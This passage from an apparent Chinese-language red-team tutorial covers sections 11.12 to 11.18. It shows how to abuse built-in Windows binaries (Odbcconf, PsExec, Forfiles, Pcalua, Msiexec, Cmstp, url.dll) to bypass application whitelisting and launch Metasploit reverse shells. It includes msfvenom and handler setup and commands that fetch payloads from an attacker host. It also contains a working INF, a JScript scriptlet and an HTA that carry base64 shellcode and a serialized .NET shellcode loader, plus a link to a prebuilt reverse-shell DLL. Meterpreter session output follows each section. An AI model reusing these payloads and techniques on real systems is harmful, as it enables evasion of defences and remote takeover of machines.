"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+
"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+
"AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+
"PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+
"AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+
"RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+
"AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+
"AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+
"AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+
"bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+
"AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+
"NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+
"AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+
"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</script>
</component>
</package>
11.12 基于白名单Odbcconf执行payload（十二）
Odbcconf简介：
ODBCCONF.exe是一个命令行工具，允许配置ODBC驱动程序和数据源。
微软官方文档：
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
说明：Odbcconf.exe所在路径已被系统添加PATH环境变量中，因此，Odbcconf命令可识别，需注意x86，x64位的Odbcconf调用。
Windows 2003 默认位置：
C:\WINDOWS\system32\odbcconf.exe
C:\WINDOWS\SysWOW64\odbcconf.exe
Windows 7 默认位置：
C:\Windows\System32\odbcconf.exe
C:\Windows\SysWOW64\odbcconf.exe
攻击机：
192.168.1.4 Debian
靶机：
192.168.1.119 Windows 2003
192.168.1.5 Windows 7
配置攻击机msf：
注：x86 payload
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：Windows 2003
注：文中为了更好的跨Windows 03–Windows 2016，Odbcconf for dll采纯C重新编写。
C:\Windows\SysWOW64\odbcconf.exe /a {
regsvr C:\Micropoor_Odbcconf.dll}
注：x64 Odbcconf.exe
附：
Micropoor_Odbcconf.dll，已测Windows 2003 x64 Windows 7 x64
注： 功能：reverse_tcp IP:192.168.1.4 PORT:53。如有安全软件拦截，因Micropoor加入特征。
大小: 73216 字节 修改时间: 2019年1月19日, 21:29:11 MD5:
B31B971F01DE32EC5EC45746BF3DDAD2 SHA1: CF42E4BF5A613992B7A563A522BBEBF1D0F06CCE CRC32: 28A1CE90
https://drive.google.com/open?id=1j12W7VOhv_-NdnZpFhWLwdt8sQwxdAsk
11.13 基于白名单PsExec执行payload（十三）
PsExec简介：
微软于2006年7月收购sysinternals公司，PsExec是SysinternalsSuite的小工具之一，是一种轻量级的telnet替代品，允许在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件，并且可以获得与控制台应用程序相当的完全交互性。
微软官方文档：
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
说明：PsExec.exe没有默认安装在windows系统。
攻击机： 192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003
配置攻击机msf：
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
PsExec.exe -d -s msiexec.exe /q /i <http://192.168.1.4/Micropoor_rev_x86_msi_53.txt>
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.4:53 ‐> 192.168.1.119:131) at 2019‐01‐20 05:43:32 ‐0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 728
meterpreter >
11.14 基于白名单Forfiles执行payload（十四）
Forfiles简介：
Forfiles为Windows默认安装的文件操作搜索工具之一，可根据日期，后缀名，修改日期为条件。常与批处理配合使用。
微软官方文档：
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)
说明：Forfiles.exe所在路径已被系统添加PATH环境变量中，因此，Forfiles命令可识别，需注意x86，x64位的Forfiles调用。
Windows 2003 默认位置：
C:\WINDOWS\system32\forfiles.exe
C:\WINDOWS\SysWOW64\forfiles.exe
Windows 7 默认位置：
C:\WINDOWS\system32\forfiles.exe
C:\WINDOWS\SysWOW64\forfiles.exe
攻击机： 192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003
配置攻击机msf：
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：Windows 2003
forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.1.4/Micropoor_rev_x86_msi_53.txt"
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 15 opened (192.168.1.4:53 ‐> 192.168.1.119:133
1) at 2019‐01‐20 06:34:08 ‐0500
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 392
meterpreter >
11.15 基于白名单Pcalua执行payload（十五）
Pcalua简介：
Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。
说明：Pcalua.exe所在路径已被系统添加PATH环境变量中，因此，Pcalua命令可识别
Windows 7 默认位置：
C:\Windows\System32\pcalua.exe
攻击机： 192.168.1.4 Debian
靶机： 192.168.1.5 Windows 7
配置攻击机msf：
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
Pcalua -m -a \\192.168.1.119\share\rev_x86_53_exe.exe
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 23 opened (192.168.1.4:53 ‐> 192.168.1.5:11349)
at 2019‐01‐20 09:25:01 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 11236
meterpreter >
11.16 基于白名单Msiexec执行payload（八）补充
本季补充本地DLL加载
Msiexec简介：
Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包（MSI）,一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于Windows 2003，Windows 7等。
说明：Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。
基于白名单Msiexec.exe配置payload：
注：x64 payload
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f dll > Micropoor_rev_x64_53.dll
配置攻击机msf：
注：x64 payload
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
msiexec /y C:\Users\John\Desktop\Micropoor_rev_x64_dll.dll
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (206403 bytes) to 192.168.1.5
[*] Meterpreter session 26 opened (192.168.1.4:53 ‐> 192.168.1.5:11543)
at 2019‐01‐20 09:45:51 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 7672
meterpreter >
11.17 基于白名单Cmstp.exe执行payload（十六）
Cmstp简介：
Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用，则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。
微软官方文档：
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
说明：Cmstp.exe所在路径已被系统添加PATH环境变量中，因此，Cmstp命令可识别，需注意x86，x64位的Cmstp调用。
Windows 2003 默认位置：
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
Windows 7 默认位置：
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
攻击机： 192.168.1.4 Debian
靶机： 192.168.1.119 Windows 7
配置攻击机msf：
注：x64 payload
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
emsf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf
注：x64 payload
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (206403 bytes) to 192.168.1.5
[*] Meterpreter session 9 opened (192.168.1.4:53 ‐> 192.168.1.5:13220)
at 2019‐01‐20 12:08:52 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 8632
meterpreter >
附录：
Micropoor_rev_cmstp_inf：
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Micropoor"
ShortSvcName="Micropoor"
cmstp_rev_53_x64.sct
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111‐0000‐0000‐0000‐0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
function setversion() {
}
function debug(s) {
}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
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var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</script>
</registration>
</scriptlet>
11.18 基于白名单Url.dll执行payload（十七）
Url.dll简介：
url.dll是Internet快捷壳扩展相关应用程序接口系统文件。
说明：url.dll所在路径已被系统添加PATH环境变量中，因此，url.dll命令可识别，但由于为dll文件，需调用rundll32.exe来执行。
Windows 2003 默认位置：
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
Windows 7 默认位置：
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
攻击机： 192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7
配置攻击机msf：
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
rundll32.exe url.dll,FileProtocolHandler file://C:\Users\John\Desktop\Micropoor_url_dll.hta
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 5 opened (192.168.1.4:53 ‐> 192.168.1.3:5018) at
2019‐01‐21 04:41:43 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 8584
同样可以调用url.dll下载payload：
rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta
附录：Micropoor_url_dll.hta
Dim binary : binary = "rundll32.exe"
Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMH PDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7 fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfV GhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1Z dqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmo AaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8M JA+FcP///+mbAcMpxnXBw7vwtaJWagBT/9U="
Sub Debug(s) End Sub Sub SetVersion End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set enc = CreateObject("System.Text.ASCIIEncoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run
Dim s, entry_class
s = "AAEAAAD/AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD" s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl" s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU" s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl" s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90" s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu" s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH" s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA" s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw" s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu" s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA" s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u" s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5" s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR" s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA" s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y" s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh" s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz" s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy" s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA" s = s & "AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA" s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA" s = s & "AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA" s = s & "AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA" s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA" s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT" s = s & "MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA" s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME" s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK" s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK" s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA" s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC" s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP" s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj" s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB" s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA" s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF" s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG" s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I" s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK" s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB" s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG" s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB" s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW" s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD" s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG" s = s & 